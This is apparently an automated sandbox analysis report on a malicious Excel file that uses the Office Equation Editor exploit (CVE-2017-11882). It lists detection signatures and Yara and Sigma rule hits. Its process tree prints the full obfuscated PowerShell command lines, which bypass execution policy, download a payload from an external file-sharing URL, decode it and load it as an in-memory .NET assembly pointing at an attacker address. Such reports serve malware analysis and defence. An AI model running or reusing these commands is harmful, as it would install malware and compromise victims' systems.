Edit tour
Windows
Analysis Report
fUHl7rElXU.xlsx
Overview
General Information
| Sample name: | fUHl7rElXU.xlsxrenamed because original name is a hash value |
| Original sample name: | b95a8f60a0db34e77e88eee9fc34f2f057f31f9eb1bc66fa292cbe7e5e697428.xlsx |
| Analysis ID: | 1568171 |
| MD5: | ce37f3ed03a2664795b50ad1966b81e8 |
| SHA1: | 34636b9da429754b4c21cae7c78688e4a79040d1 |
| SHA256: | b95a8f60a0db34e77e88eee9fc34f2f057f31f9eb1bc66fa292cbe7e5e697428 |
| Tags: | bklpyseyeut4impw50n1xlsxuser-JAMESWT_MHT |
| Infos: |   |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
System process connects to network (likely due to code injection or exploit)
Yara detected Powershell download and execute
Yara detected VBS Downloader Generic
Bypasses PowerShell execution policy
Connects to a pastebin service (likely for C&C)
Document exploit detected (process start blacklist hit)
Installs new ROOT certificates
Obfuscated command line found
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Shellcode detected
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to download and execute PE files
Contains functionality to download and launch executables
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Script Initiated Connection
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores large binary data to the registry
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w7x64
EXCEL.EXE (PID: 3236 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) 
EQNEDT32.EXE (PID: 3444 cmdline: "C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) 
wscript.exe (PID: 3588 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\eveni ngmecccmed icallabora tory.vbs" MD5: 979D74799EA6C8B8167869A68DF5204A) 
powershell.exe (PID: 3660 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' JiggJFBzSE 9NZVs0XSsk UHNIT01FWz M0XSsneCcp ICgoJ3pZdm ltYWdlVXJs ID0gdmZjaH R0cHM6Ly8x MDE3LmZpbG VtYWlsLmNv bS9hcGkvZm knKydsZS9n ZXQ/ZmlsZW tleT0yQWEn KydfYldvOV JldTQ1dDcn KydCVTFrVm dzZDlwVDlw Z1NTbHZTdE dyblRJQ2ZG aG1US2ozTE M2U1F0SWNP Y19UMzV3Jn BrX3ZpZD1m ZDRmNjE0Ym IyMDljNjJj MScrJzczMD k0NTE3NmEw OTA0ZiB2Zm M7ell2d2Vi Q2xpZW50ID 0gTmV3LU9i JysnamVjdC BTeXN0ZW0u TmV0LldlYk NsaWVudDt6 WXZpbWFnZU J5dGVzID0g ell2d2ViQ2 xpZW50LkRv d25sb2FkRG F0YSh6WXZp bWFnZVVybC k7ell2aW1h Z2VUZXh0ID 0gW1N5c3Rl bS5UZXh0Lk VuY29kaW5n XTonKyc6VV RGOC5HZXRT dHJpbmcoel l2aW1hZ2VC eXRlcyk7el l2c3RhcnRG bGFnID0gdm ZjPDxCQVNF NjRfU1RBUl QnKyc+Jysn PnZmYzsnKy d6WXZlbmRG bGFnID0gdm ZjPDxCQVNF NjRfRU5EPj 52ZmM7ell2 c3RhcnRJbm RleCA9IHpZ dmltYWdlVG V4dC5JbmRl eE9mKHpZdn N0YXJ0Rmxh Zyk7ell2ZW 5kSW5kZScr J3ggPSB6WX ZpbWFnZVRl eHQuSW5kZX hPJysnZih6 WXYnKydlbm RGbGFnKTt6 WXZzdGFydE luZGV4IC1n ZSAwIC1hbm Qgell2ZW5k SW5kZXggLW d0IHpZdnN0 YXJ0SW5kZX g7ell2c3Rh cnRJbmRleC ArPSB6WXZz dGFydEZsYW cuTGVuZ3Ro OycrJ3pZdm Jhc2U2NExl bmd0aCA9IH pZdmVuZElu ZGV4IC0gel l2c3RhcnRJ bmRleDt6WX ZiYXNlNjRD b21tYW5kID 0gell2Jysn aW1hZ2VUZX h0LlN1YnN0 cmluZyh6WX ZzdGFydElu ZGV4LCB6WX ZiYXNlNjRM ZW5ndCcrJ2 gpO3pZdmJh c2U2NFJldm Vyc2VkID0g LWpvaW4nKy cgKHpZdmJh c2U2NENvbW 1hbmQuVG9D aGFyQXJyYX koKSBHb2Eg Rm9yRWFjaC 1PYmplY3Qg eyAnKyd6WX YnKydfIH0p Wy0xLi4tKH pZdmJhc2U2 NENvbW1hbm QuTGVuZ3Ro KV07ell2Y2 9tbWFuZEJ5 dGVzID0gW1 N5c3RlbS5D b252ZXJ0XT o6RnJvbUJh c2U2NFN0cm luZyh6WXZi YXNlNjRSZX ZlcnNlZCk7 ell2bG9hZG VkQXNzZW1i bHkgPSBbU3 lzdGVtLlJl ZmxlY3Rpb2 4uQXNzZW1i bHldOicrJz pMb2FkKHpZ dmNvbW1hbm RCeXQnKydl cyk7ell2dm FpJysnTWV0 aG9kID0gW2 RubGliLklP LkhvbWVdLk dldE1ldGhv ZCh2ZmNWQU l2ZmMpO3pZ dnZhaU1ldG hvZC5JbnZv a2Uoell2bn VsbCwgQCh2 ZmN0eHQuND U0NDY1NjU0 M21tYWRhbW Jld2FhYWFh YWFhYXNub2 YvOTEuNy44 NjEuNDAxLy 86cHR0aHZm YywgdmZjZG VzYXRpdmFk b3ZmYywgdm ZjZGVzYXRp dmFkb3ZmYy wgdmZjZGVz YXRpdmFkb3 ZmYywgdmZj TVMnKydCdW lsZHZmYywg dmZjZGVzYX RpdmFkb3Zm YywgdmZjZG VzYXRpdmFk b3ZmYyx2Zm NkZXNhdGl2 YWRvdmZjLH ZmY2Rlc2F0 aXZhZCcrJ2 92ZmMsdicr J2ZjZGVzYS crJ3RpdmFk b3ZmJysnYy x2ZmNkZXNh dCcrJ2l2YW RvdmZjLHZm Y2Rlc2F0aX ZhZG92ZmMs dmZjMXZmYy x2ZmNkZXNh dGl2YWRvdm ZjKSk7Jyku UkVQbEFjRS gnR29hJywn fCcpLlJFUG xBY0UoJ3pZ dicsJyQnKS 5SRVBsQWNF KCd2ZmMnLF tTdFJpbmdd W0NoYXJdMz kpKQ==';$O Wjuxd = [s ystem.Text .encoding] ::UTF8.Get String([sy stem.Conve rt]::Fromb ase64Strin g($codigo) );powershe ll.exe -wi ndowstyle hidden -ex ecutionpol icy bypass -NoProfil e -command $OWjuxD MD5: EB32C070E658937AA9FA9F3AE629B2B8) - powershell.exe (PID: 3768 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "&( $P sHOMe[4]+$ PsHOME[34] +'x') (('z YvimageUrl = vfchttp s://1017.f ilemail.co m/api/fi'+ 'le/get?fi lekey=2Aa' +'_bWo9Reu 45t7'+'BU1 kVgsd9pT9p gSSlvStGrn TICfFhmTKj 3LC6SQtIcO c_T35w&pk_ vid=fd4f61 4bb209c62c 1'+'730945 176a0904f vfc;zYvweb Client = N ew-Ob'+'je ct System. Net.WebCli ent;zYvima geBytes = zYvwebClie nt.Downloa dData(zYvi mageUrl);z YvimageTex t = [Syste m.Text.Enc oding]:'+' :UTF8.GetS tring(zYvi mageBytes) ;zYvstartF lag = vfc< <BASE64_ST ART'+'>'+' >vfc;'+'zY vendFlag = vfc<<BASE 64_END>>vf c;zYvstart Index = zY vimageText .IndexOf(z YvstartFla g);zYvendI nde'+'x = zYvimageTe xt.IndexO' +'f(zYv'+' endFlag);z YvstartInd ex -ge 0 - and zYvend Index -gt zYvstartIn dex;zYvsta rtIndex += zYvstartF lag.Length ;'+'zYvbas e64Length = zYvendIn dex - zYvs tartIndex; zYvbase64C ommand = z Yv'+'image Text.Subst ring(zYvst artIndex, zYvbase64L engt'+'h); zYvbase64R eversed = -join'+' ( zYvbase64C ommand.ToC harArray() Goa ForEa ch-Object { '+'zYv'+ '_ })[-1.. -(zYvbase6 4Command.L ength)];zY vcommandBy tes = [Sys tem.Conver t]::FromBa se64String (zYvbase64 Reversed); zYvloadedA ssembly = [System.Re flection.A ssembly]:' +':Load(zY vcommandBy t'+'es);zY vvai'+'Met hod = [dnl ib.IO.Home ].GetMetho d(vfcVAIvf c);zYvvaiM ethod.Invo ke(zYvnull , @(vfctxt .454465654 3mmadambew aaaaaaaaas nof/91.7.8 61.401//:p tthvfc, vf cdesativad ovfc, vfcd esativadov fc, vfcdes ativadovfc , vfcMS'+' Buildvfc, vfcdesativ adovfc, vf cdesativad ovfc,vfcde sativadovf c,vfcdesat ivad'+'ovf c,v'+'fcde sa'+'tivad ovf'+'c,vf cdesat'+'i vadovfc,vf cdesativad ovfc,vfc1v fc,vfcdesa tivadovfc) );').REPlA cE('Goa',' |').REPlAc E('zYv','$ ').REPlAcE ('vfc',[St Ring][Char ]39))" MD5: EB32C070E658937AA9FA9F3AE629B2B8)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| INDICATOR_XML_LegacyDrawing_AutoLoad_Document | detects AutoLoad documents using LegacyDrawing | ditekSHen |
|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_VBS_Downloader_Generic | Yara detected VBS Downloader Generic | Joe Security | ||
| JoeSecurity_VBS_Downloader_Generic | Yara detected VBS Downloader Generic | Joe Security |
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
Exploits |   |
|---|
| Source: | Author: Joe Security: | ||
| Source: | Author: Joe Security: | ||
System Summary | |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||